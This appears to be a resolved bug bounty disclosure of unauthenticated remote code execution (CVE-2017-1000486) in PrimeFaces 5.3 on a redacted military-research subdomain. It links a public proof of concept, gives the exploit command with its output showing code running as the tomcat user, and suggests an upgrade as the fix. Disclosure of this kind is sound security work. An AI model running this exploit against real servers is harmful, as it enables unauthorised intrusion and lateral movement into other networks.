RCE in ██████ subdomain via CVE-2017-1000486
High
Vulnerability Details
**Summary:**
The application at ████████/ftn-Website/ uses primefaces 5.3 but not 5.3.8, making it vulnerable to unauthenticated RCE CVE-2017-1000486.
## Step-by-step Reproduction Instructions
1. Get the publicly available POC for this vulnerability here: https://github.com/pimps/CVE-2017-1000486
2. Execute: `python primefaces.py ███/ftn-Website/ -c id`
3. Success: `uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0`
## Product, Version, and Configuration (If applicable)
primefaces 5.3
## Suggested Mitigation/Remediation Actions
Update primefaces.
## Impact
An unauthenticated, 3rd-party attacker or adversary can execute remote code on restsvr1.ftn.research.usafa.edu as the unix `tomcat` user. Note that this service uses a DoD IP, suggesting an attacker could potentially pivot elsewhere afterwards.
Actions
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- Report ID: 1067291
- State: Closed
- Substate: resolved
- Upvotes: 8